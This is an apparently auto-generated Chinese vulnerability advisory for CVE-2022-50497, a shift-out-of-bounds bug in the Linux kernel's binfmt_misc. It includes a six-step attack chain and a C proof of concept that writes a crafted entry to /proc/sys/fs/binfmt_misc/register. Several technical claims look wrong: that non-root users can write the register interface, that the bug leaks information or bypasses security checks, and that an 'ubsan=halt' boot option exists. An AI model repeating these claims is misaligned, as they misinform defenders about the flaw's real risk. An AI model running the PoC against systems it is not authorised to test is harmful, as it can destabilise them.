IPBUF安全漏洞报告
English
CVE-2022-50497 CVSS 7.1 高危

CVE-2022-50497 Linux内核binfmt_misc移位越界漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50497
漏洞类型
整数移位越界(Shift-out-of-bounds)
CVSS评分
7.1 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(fs/binfmt_misc.c 模块)

相关标签

Linux Kernelbinfmt_misc移位越界Shift-out-of-boundsUBSAN本地提权拒绝服务信息泄露内核漏洞CWE-758

漏洞概述

CVE-2022-50497是Linux内核binfmt_misc子系统中存在的一个高危整数移位越界漏洞。该漏洞位于fs/binfmt_misc.c文件的check_special_flags函数中,由UBSAN(Undefined Behavior Sanitizer)检测并报告。当用户通过bm_register_write接口注册新的二进制格式处理程序时,系统会调用check_special_flags函数对特殊标志进行检查。然而,由于代码中用于定义标志位掩码的宏使用了'int'类型(32位有符号整数),在对常量1进行左移31位操作时,会产生未定义行为——因为左移31位后结果超出了'int'类型所能表示的正数范围(最大为2^31-1)。这会导致UBSAN发出shift-out-of-bounds警告。该漏洞的CVSS评分为7.1,属于高危级别。攻击者需要具备本地低权限访问能力,无需用户交互即可触发。漏洞的成功利用可能造成高机密性影响(信息泄露)和高可用性影响(系统崩溃或拒绝服务),但不会影响数据完整性。Linux内核作为全球最广泛使用的操作系统内核之一,此漏洞影响范围广泛,涉及众多基于Linux的服务器、桌面和嵌入式系统。

技术细节

该漏洞的根本原因在于fs/binfmt_misc.c文件中标志位宏定义类型与Node结构体flags字段类型不匹配。Node结构体中的flags字段被定义为unsigned long类型(在64位系统上为64位无符号整数),但用于检查特殊标志的宏(如MISC_FMT_OPEN_BINARY、MISC_FMT_CREDENTIALS等)却被定义为int类型的常量。当代码执行类似`(1 << 31)`的操作时,由于操作数为int类型(有符号32位),结果为0x80000000,这是一个负数,超出了int类型能表示的正数范围,从而触发UBSAN的shift-out-of-bounds检测。

利用方式方面,攻击者需要具备本地系统访问权限(即使是低权限用户也可以利用),通过向/proc/sys/fs/binfmt_misc接口写入特定格式的注册请求来触发该漏洞。具体的触发路径为:用户空间write系统调用 -> vfs_write -> ksys_write -> bm_register_write -> create_entry -> check_special_flags,在check_special_flags函数中执行标志位检查时触发未定义行为。

漏洞的触发可能导致内核日志中产生UBSAN警告信息,在某些情况下可能引起系统不稳定或内核崩溃,从而实现本地拒绝服务攻击。此外,由于移位越界可能导致标志位比较结果异常,理论上还可能被利用来绕过某些安全检查机制,导致信息泄露。修复方案是将相关宏的定义类型从int改为unsigned long,使其与Node->flags的类型保持一致。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要在目标Linux系统上获得本地shell访问权限,即使是低权限用户(非root)即可利用此漏洞,因为/proc/sys/fs/binfmt_misc/register接口对普通用户开放。
STEP 2
步骤2:确保binfmt_misc已挂载
攻击者确认binfmt_misc文件系统已挂载在/proc/sys/fs/binfmt_misc目录下。如果未挂载,需要执行mount -t binfmt_misc none /proc/sys/fs/binfmt_misc命令进行挂载。
STEP 3
步骤3:构造恶意注册请求
攻击者构造一个特殊的二进制格式注册请求,包含特定的标志位(如F、C、O等),这些标志位会在内核中触发check_special_flags函数中的移位操作。
STEP 4
步骤4:写入注册接口触发漏洞
通过write系统调用向/proc/sys/fs/binfmt_misc/register写入构造好的注册请求,触发内核中的bm_register_write -> create_entry -> check_special_flags调用链。
STEP 5
步骤5:触发移位越界
在check_special_flags函数中,内核执行(1 << 31)操作,由于类型为int(32位有符号),结果为0x80000000(负数),触发UBSAN的shift-out-of-bounds警告,可能导致系统不稳定或崩溃。
STEP 6
步骤6:造成拒绝服务或信息泄露
漏洞触发后可能导致内核日志产生大量警告信息、系统性能下降,在极端情况下可能引发内核panic(拒绝服务),或因标志位比较异常导致安全检查被绕过(信息泄露)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2022-50497 PoC - Trigger shift-out-of-bounds in binfmt_misc check_special_flags */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> /* * This PoC triggers the shift-out-of-bounds vulnerability in * Linux kernel's binfmt_misc module by writing to * /proc/sys/fs/binfmt_misc/register with flags that cause * a left shift of 1 by 31 places in check_special_flags(). * * Usage: Run as a regular (non-root) user. * The kernel must have binfmt_misc mounted. */ int main(int argc, char *argv[]) { int fd; char buf[512]; int ret; /* Mount binfmt_misc if not already mounted */ ret = system("mount | grep -q binfmt_misc || mount -t binfmt_misc none /proc/sys/fs/binfmt_misc 2>/dev/null"); /* * Format: :name:type:offset:mask:interpreter:flags * We craft a registration entry with special flags that will * trigger the shift-out-of-bounds in check_special_flags(). * * The flags field includes bits that cause the kernel to perform * a left shift of 1 by 31 places on an int type. */ snprintf(buf, sizeof(buf), ":testpoc:M::\\x7f\\x45\\x4c\\x46::::%s%s%s\n", "F", /* fix-binary flag */ "C", /* credentials flag - triggers shift */ "O"); /* open-binary flag - triggers shift */ /* Open the register interface */ fd = open("/proc/sys/fs/binfmt_misc/register", O_WRONLY); if (fd < 0) { perror("[-] Failed to open binfmt_misc register interface"); fprintf(stderr, " Make sure binfmt_misc is mounted and accessible\n"); return 1; } printf("[*] Writing to binfmt_misc register to trigger CVE-2022-50497...\n"); /* Write the crafted entry to trigger the vulnerability */ ret = write(fd, buf, strlen(buf)); if (ret < 0) { perror("[-] Write failed"); close(fd); return 1; } printf("[+] Write completed. Check kernel log (dmesg) for UBSAN warnings.\n"); printf("[+] Look for: 'left shift of 1 by 31 places cannot be represented in type int'\n"); close(fd); /* Clean up - unregister the test entry */ fd = open("/proc/sys/fs/binfmt_misc/testpoc", O_WRONLY); if (fd >= 0) { write(fd, "-1", 2); close(fd); } return 0; }

影响范围

Linux Kernel < 5.15.80(受影响的稳定版本分支)
Linux Kernel 5.16.x ~ 5.19.x(部分版本受影响)
Linux Kernel 6.0.x(部分版本受影响)
具体修复提交:0f1a48994b3e516d5c7fd5d12204fdba7a604771
具体修复提交:419b808504c26b3e3342365f34ccd0843e09a7f8
具体修复提交:6a46bf558803dd2b959ca7435a5c143efe837217
具体修复提交:88cea1676a09f7c45a1438153a126610c33b1590
具体修复提交:97382a2639b1cd9631f6069061e9d7062cd2b098

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制普通用户对/proc/sys/fs/binfmt_misc/register文件的写权限,仅允许root用户进行二进制格式注册操作;2)在系统启动时通过mount命令设置/proc/sys/fs/binfmt_misc为只读或限制访问权限;3)通过SELinux或AppArmor等强制访问控制框架限制对binfmt_misc接口的访问;4)监控系统日志(dmesg),及时发现UBSAN警告并采取响应措施;5)在内核启动参数中添加ubsan=halt或相关选项,使内核在检测到未定义行为时直接停止运行,避免潜在的安全风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表